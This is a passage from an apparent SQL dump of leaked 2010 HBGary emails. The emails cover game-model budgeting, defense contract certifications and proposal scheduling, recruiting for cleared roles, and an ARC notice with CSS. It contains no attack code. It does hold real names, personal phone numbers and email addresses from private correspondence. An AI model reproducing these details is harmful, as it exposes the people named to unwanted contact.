America\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2965,'aaron_hbgary_com/2965.html'),(11982,'2010-09-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008925.M897279P14101Q6837.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: need help with modeling speed expectations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMy gut says you are looking for a boatload of output from him\r\nfor $20k.&nbsp; Probably, you need to scale back what to accomplish for that amount\r\nof money or get more money.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, September 18, 2010 7:55 PM\r\nTo: Bob Slapnik; Aaron Barr\r\nSubject: need help with modeling speed expectations\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, Bob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am stressed a little bit because Mikiya is a bit slower\r\nthan I expected he would be.&nbsp; He will be taking many days to complete a\r\n3-D model...&nbsp; we won\'t finish if that is the case...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is an email I wrote to him:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n---&gt; snip\r\n\r\n\r\n\r\n\r\n\r\nI have done some math.&nbsp; With overhead, you cost me\r\nabout $160/day.&nbsp; I plan to spend about $20,000 on you over the first phase\r\nof this work.&nbsp; You should put some thought into this - I think we need\r\naround 100 models.&nbsp; This means that each model should cost about $200\r\ndollars.&nbsp; Obviously this is contrived - some models will take longer and\r\nsome will be quick.&nbsp; But, on average, that means you would need to produce\r\na new model approximately 1 per day.&nbsp; I know that you said 2 days for a character,\r\nand 5 days for the first house.&nbsp; Can you explore this idea of doing 1\r\nmodel per day - maybe by re-using basic components or by modifying an existing\r\nmodel you can get production up to 1 model per day?\r\n&nbsp;\r\nWe probably need at least 50 house/building models - many will be variations of\r\neach other.&nbsp; We will need about 20 characters all based on human but with\r\ndiffering outfits, height, weight, and such.&nbsp; These character models will\r\nneed 10 interchangeable hair styles, and at least 20 different costume sets -\r\nthese hair and costume sets are just sub-models swappable on the\r\ncharacter.&nbsp; Finally, we need tiles for terrain.&nbsp; We need a city tile\r\nset and a wilderness tile set - these should have around 6+ weldable tiles,\r\nsome w/ roads and some without.&nbsp; If you count all this up it should be\r\naround 100 models give or take.&nbsp; If you could do one model per day it\r\nwould be close...\r\n&nbsp;\r\nPlease think about this.&nbsp; There might be ways to make this work, but you\r\ncan\'t build every model from scratch and take 3-4 days on each one if we are to\r\nmake the deadline.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;--- end snip\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you think my head is screwed on right, or that we just\r\ncan\'t do this on the initial 50 grand budget?&nbsp; I don\'t know how mikiya\r\nwill respond to this 1 model per day request yet.&nbsp; Also, do you think 100\r\nmodels is reasonable, or do you think we can get by w/ less?&nbsp; Or, do you\r\nthink we need more than 100 models?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs you should be sensing, it is very important to me to\r\nstack the deck towards success, I don\'t want to waste $50k and have an\r\nincomplete project at the end we cannot demo...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8888,'aaron_hbgary_com/8888.html'),(11983,'2010-09-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008926.M147941P14101Q6838.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,,,,,,,,,,,,,,','Re: Certification Regading Former Sponsor Employees','\r\n The offerer, HBGary Federal, LLC, certifies that it has not proposed the use of any person in the direct performance of this contract who has resigned (not including retired) from employment with the Sponsor within the previous 18 months, has been barred from performing Sponsor contracts for a period of time as a result of a recommendation from a Sponso Advisory Board, or was terminated from employment with the Sponsor.  The Offeror also certifies that its subcontractors have not proposed use of any such person in the direct performance of this contract.\r\nTed VeraPresident\r\nHBGary Federal LLC\r\n\r\n\r\n\r\nOn Sep 19, 2010, at 12:20 PM, &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n \r\n\r\nGood afternoon.  In accordance with RFP Section K, K.17\r\n152.204-728, please confirm/certify that you are not proposing the use of a\r\nrecent former sponsor employee by submitting (via email) the statement below by\r\nMonday, 9/13/2010 at 5:00 PM. \r\n\r\n\r\n\r\n \r\n\r\nThe certification from section K is below.  Let us know\r\nif you have any questions.  Thank you for your help.\r\n\r\n \r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n&lt;image001.png&gt;\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11510,'aaron_hbgary_com/11510.html'),(11984,'2010-09-19','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297008926.M365089P14101Q6839.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Saved Search Update - Digitalglobe','\r\n\r\n  \r\n  \r\n      \r\n      LINKEDIN SAVED SEARCH UPDATE\r\n    \r\n    \r\n      \r\n      \r\n        We found 67 new results that match your saved search \"Digitalglobe\":\r\n      \r\n     \r\n\r\n      \r\n        \r\n          Matt Bergin\r\n            Director - Client Services at DigitalGlobe\r\n        \r\n        \r\n          Jim Beckley\r\n            Director, Global Accounts Sales at DigitalGlobe,\r\n        \r\n        \r\n          Giandri Machado\r\n            International Sales Director\r\n        \r\n        \r\n          Joseph DuLong\r\n            Remote Sensing\r\n        \r\n        \r\n          Mark Stockwell\r\n            Product Development Veteran\r\n        \r\n      \r\n\r\n        View more new results &#187;\r\n    \r\n    \r\n      \r\n        Saved Search Results\r\n        &bull; View all new results\r\n        \r\n      \r\n    \r\n\r\n    \r\n    \r\n\r\n      \r\n      LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.  \r\n      &copy; 2010, LinkedIn Corporation\r\n      \r\n  \r\n    \r\n  \r\n\r\n\r\n',3600,'aaron_hbgary_com/3600.html'),(11985,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008926.M588818P14101Q6840.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Selection to Submit Response for UNO Green Eggs MS13','ok so what does that mean. &nbsp;Flights on Tuesday don\'t get me to OH until 11:30pm. &nbsp;Do I need to come tomorrow night? &nbsp;Still leaving thursday?AaronOn Sep 19, 2010, at 8:13 AM, Masterson, Brian M (XETRON) wrote:Aaron,I just noticed, this thing is due Friday and not the following Monday.&nbsp;&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, Cyber SolutionsPh: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Britton, Douglas C [mailto:douglas.c.britton@lmco.com]&nbsp;Sent:&nbsp;Friday, September 17, 2010 3:15 PMTo:&nbsp;Lentz, Jason M; Racz, James MSubject:&nbsp;Selection to Submit Response for UNO Green Eggs MS13&nbsp;Congratulations,You have been selected to submit a response for Green Eggs, Mitigation Study 13.&nbsp;&nbsp;Navigating some security checks took longer than expected.&nbsp; We will send the classified SOWs on Monday.&nbsp; You will have until COB Friday to submit your responses.&nbsp; On Monday, we’ll send out the complete submission instructions.&nbsp;Please respond to this with a security POC for the fax on MondayName:Email:Secure Fax:Unsecure voice:&nbsp;I’ll send all of the security people a meeting invite for the time that I’ll be faxing to them, just to minimize everyone’s time.&nbsp;Please let me know if you have any questions.&nbsp;Thank you,Doug Britton',2576,'aaron_hbgary_com/2576.html'),(11986,'2010-09-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008926.M812098P14101Q6841.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Newbern, Dave (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>','RE: COIN/Romas','\r\n\r\n\r\n\r\n\r\nRE: COIN/Romas\r\n\r\n\r\n\r\n\r\nHow does 9:00 sound?&nbsp; I am in meetings from 10:30 - 2:00.&nbsp; All in WF can meet in conference room 3B (if it is available) as it has a telcon phone.&nbsp; I\'ll verify which conference room when I get in and update everyone\'s calendars.&nbsp;\r\n\r\nHope this comes together quickly.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC)\r\nSent: Sun 9/19/2010 11:52 AM\r\nTo: Aaron Barr; Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC)\r\nSubject: RE: COIN/Romas\r\n\r\nI spoke to Aaron this morning, recommend we have a conference call on Monday to catch everyone up.&nbsp; Chris, can you schedule it when you get in on tomorrow?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 11:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.&nbsp; Things have changed.&nbsp; They are going to now break out each of the 4 areas and release 4 RFPs.&nbsp; Also HBGary Federal is being added directly to the bidders list.&nbsp; I have to go into the office and sign some paperwork.&nbsp; I don\'t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.&nbsp; The RFPs should be coming out in the next week or so.&nbsp; I unfortunately will be in Cincinatti Mon-Thurs.&nbsp; I can meet monday morning after I head in to see John and before the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6717,'aaron_hbgary_com/6717.html'),(11987,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008927.M306444P14101Q6843.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','IR Services','Penny/Greg,\r\n\r\nI want to pose an idea to you.  I think you have heard it before but I am going to give you my perspective on why I think its a good idea.\r\n\r\nIdea is putting Ted in charge of IR services.  I know first comment back might be he is not an IR guy?  He is not a developer either but that didn\'t stop him from successfully growing a shop of product developers from 2-40 in 5 years.  He managed a small team of reverse engineers for a highly competent customer and during that time delivered capabilities that above all other competitors, and delivered capability he was told was unlikely he was going to be able to deliver.\r\n\r\nTed knows enough about IR, Malware, Product development to manage any team in those areas very successfully and he is one of the best at both managing customer expectations, requirements, relationships, and execution.  So please think about it.\r\n\r\nAaron',3289,'aaron_hbgary_com/3289.html'),(11988,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008927.M34519P14101Q6842.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,,,,','Re: COIN/Romas','Ok with mezSent from my iPhoneOn Sep 19, 2010, at 10:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHow does 9:00 sound?  I am in meetings from 10:30 - 2:00.  All in WF can meet in conference room 3B (if it is available) as it has a telcon phone.  I&#39;ll verify which conference room when I get in and update everyone&#39;s calendars. \r\n\r\n\r\nHope this comes together quickly.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC)\r\nSent: Sun 9/19/2010 11:52 AM\r\nTo: Aaron Barr; Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Heider, Raymond A (TASC)\r\nSubject: RE: COIN/Romas\r\n\r\nI spoke to Aaron this morning, recommend we have a conference call on Monday to catch everyone up.  Chris, can you schedule it when you get in on tomorrow?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 11:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.  Things have changed.  They are going to now break out each of the 4 areas and release 4 RFPs.  Also HBGary Federal is being added directly to the bidders list.  I have to go into the office and sign some paperwork.  I don&#39;t think the last part really changes much from my perspective, but with the other news we need to sit down and talk this through.  The RFPs should be coming out in the next week or so.  I unfortunately will be in Cincinatti Mon-Thurs.  I can meet monday morning after I head in to see John and before the airport, or friday.\r\n\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10167,'aaron_hbgary_com/10167.html'),(11989,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008927.M525814P14101Q6844.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: scale and concept art (captains of industry)','I get it and I like that model.  WoW is much more a MMO experience where its all about running quests.  I picture CoI playing between RTS/MMO, more RTS and therefore the god-like view seems more appropriate and allows you potentially pan across your property away from the hero to get a more detailed look at something that is happening while the hero is in a specific experience.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 18, 2010, at 2:03 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> See attached.\r\n>  \r\n> The basic house sketches are stone and wood and follow the art style used in torchlight.  The rustic looking wood houses would be for frontier areas.  The less rustic looking ones could be packed together in an urban environment.\r\n>  \r\n> The scale mockups show relative building sizes - this requires a bit more explanation.  In pic 1 you see a building scaled to about the size of the torchlight buildings seen in pic 2.  These buildings are too small to walk inside of if we use the WoW near-first-person camera system (the camera goes inside the building with you, this is how WoW works).  So, in pic 1, we show the building with the roof removed.  In that mode, you can now walk inside and there is enough room for a characters in the small building (as illustrated).  In pic 3 we have a building scaled to the size of WoW - you can see an actual WoW building in pic 5.  The WoW system lets you go inside a building but the camera also goes inside with you, you can see the character in pic 4 is inside the building with his back to the door and the camera is inside.\r\n>  \r\n> Mikiya and I looked at these for about an hour, testing camera angles and look/feel.  We concluded that the system with the removable roof (pic 1) would work best for Captains of Industry.  The reason is that buildings are a primary part of the game play, players want to see their buildings, and zoomed out at the level shown in torchlight (pic 2) they can easily see the entire building and also interact with it (click on it).  With the removable roof, we can still have NPC characters and player characters inside the building - expanding possibilities for game play.  If we went with the buildings being scaled as in WoW, the player would have to zoom much further out to see their buildings in this manner - this would cause the player character model to be very small on the screen, much much smaller than that shown in torchlight (pic 2).  The conclusion was that the character model would end up too small if we scaled to WoW proportions.\r\n>  \r\n> In case it isn\'t clear, the removable roof system means the roof becomes transparent if the character walks inside the building (raytrace from camera to toon intersects the roof (removeable mesh)) - the building looks normal when the character is not standing inside of it.  BTW, this is how Diablo III works with most of it\'s dungeons.\r\n>  \r\n> ok - enuf for now, I\'m going fishing....\r\n>  \r\n> -Greg \r\n> \r\n\r\n',15220,'aaron_hbgary_com/15220.html'),(11990,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008927.M781454P14101Q6845.eml','\"Greg Hoglund\" <greg@hbgary.com>','Green Eggs','I am flying out to Cincinatti because we have been downselected with Xetron for our approach to developing a comprehensive forensics footprint for a binary.\r\n\r\nNow I don\'t know what all this means yet as I haven\'t seen the classified proposal (we get that tomorrow).  But the proposal we submitted was very much what we did for stuxnet, talking about malware analysis, cyber investigation, social media, etc.  I may need to talk a bit to you over the next few days but just want to give you a heads up now.\r\n\r\nAaron',15205,'aaron_hbgary_com/15205.html'),(11991,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008928.M233148P14101Q6847.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: HBGary BlackHat Talk','Hi Jason,\r\n\r\nLove to talk to you more about this.  I can understand the hesitation with a biiiig company.\r\n\r\nImmediate needs are TS/SCI with full poly in VA.\r\n\r\nWe have other work that is likely going to start popping starting Oct1st and its more DoD TS/SCI.\r\nTSA\r\nR&D Threat Intelligence\r\n90th IO\r\nR&D Remote attestation\r\nCNO (TS/SCI with poly)\r\n\r\nWe have ongoing IR work we do.\r\n\r\nWhat type of skill sets to the folks have that are looking?\r\n\r\nLooking forward to podcast, first one I have done so exciting.\r\n\r\nAaron\r\n\r\nOn Sep 19, 2010, at 11:00 AM, Jason Mueller wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thanks for passing along the slides!  What positions are you trying to\r\n> fill on the Federal side?  With HP in the process of buying ArcSight,\r\n> there are a few of us that aren\'t interested in working for a 304k\r\n> employee company who\'s sole focus isn\'t cyber security.  Any info you\r\n> can pass my way would be much appreciated.  Looking forward to the\r\n> podcast as well!\r\n> \r\n> R/\r\n> \r\n> Jason Mueller\r\n> \r\n> \r\n> On Sep 18, 2010, at 11:28 PM, Aaron Barr  wrote:\r\n> \r\n>> Hey Jason,\r\n>> \r\n>> Sorry I didn\'t get to this right away.\r\n>> \r\n>> Certainly,\r\n>> attached are the slides.\r\n>> \r\n>> Talk to you next week.\r\n>> \r\n>> We are doing a lot in this area of attribution.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> On Sep 9, 2010, at 8:32 AM, Jason Mueller wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> By chance, are you able to pass along the talk given by Greg Hoglund\r\n>>> \"Malware Attribution: Tracking Cyber Spies and Digital Criminals.\"  My\r\n>>> day job consists of supporting the FBI\'s ESOC and I\'ve heard great\r\n>>> things about Greg\'s talk.  Unfortunately I wasn\'t able to make it out\r\n>>> to Vegas this year but I was hoping you\'d be able to pass this along.\r\n>>> Thanks in advance!\r\n>>> \r\n>>> R/\r\n>>> \r\n>>> Jason Mueller\r\n>> \r\n\r\n',11794,'aaron_hbgary_com/11794.html'),(11992,'2010-09-20','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008928.M4853P14101Q6846.eml','\"Barr Aaron\" <aaron@hbgary.com>','Offers','\r\n\r\n',15664,'aaron_hbgary_com/15664.html'),(11993,'2010-09-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008931.M784080P14101Q6848.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Need Marks Offer of employement','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Monday, June 7, 2010\r\nSubject: Need Marks Offer of employement\r\nTo: DeeAnn Buonaccorsi \r\n\r\n\r\nSorry for the delay I thought I sent this before.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 3, 2010 at 6:04 PM, DeeAnn Buonaccorsi  wrote:\r\n> Please send ASAP.\r\n>\r\n>\r\n>\r\n> Thanks\r\n>\r\n>\r\n>\r\n> DeeAnn Buonaccorsi\r\n>\r\n> Office Manager\r\n>\r\n> HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd.  Suite 250\r\n>\r\n> Sacramento, CA  95864\r\n>\r\n> Tel:  916-459-4727 ext. 101\r\n>\r\n> Fax: 916-481-1460\r\n>\r\n> Email  deeann@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13259,'aaron_hbgary_com/13259.html'),(11994,'2010-09-20','arc@westfields.net','/aaron@hbgary.com/new/1297008932.M240000P14101Q6849.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 09/17/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Expedition (Announcement)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',10460,'aaron_hbgary_com/10460.html'),(11995,'2010-09-20','\"Masterson, Brian M 